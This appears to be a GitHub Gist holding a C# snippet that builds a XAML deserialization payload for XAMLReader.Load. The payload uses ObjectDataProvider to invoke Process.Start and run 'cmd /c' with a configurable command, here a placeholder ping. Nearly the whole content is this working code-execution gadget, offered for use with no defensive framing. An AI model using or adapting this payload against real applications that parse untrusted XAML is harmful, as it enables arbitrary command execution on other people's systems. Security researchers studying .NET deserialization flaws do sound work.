Created
November 4, 2020 11:11
-
-
Save Meatballs1/aecd37d803998f224c36216a37f1c7af to your computer and use it in GitHub Desktop.
XAMLReader.Load(Stream) payload avoiding Root Element Is Missing exception
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
String cmd = "ping 127.0.0.1"; | |
String payload = @"<ResourceDictionary xmlns:System=""clr-namespace:System;assembly=mscorlib"" xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:sd=""clr-namespace:System.Diagnostics;assembly=System"" xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""><ObjectDataProvider ObjectType=""sd:Process"" MethodName=""Start"" x:Key=""LaunchCalc""><ObjectDataProvider.MethodParameters><System:String>cmd</System:String><System:String>/c """ + cmd + @"""</System:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>"; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment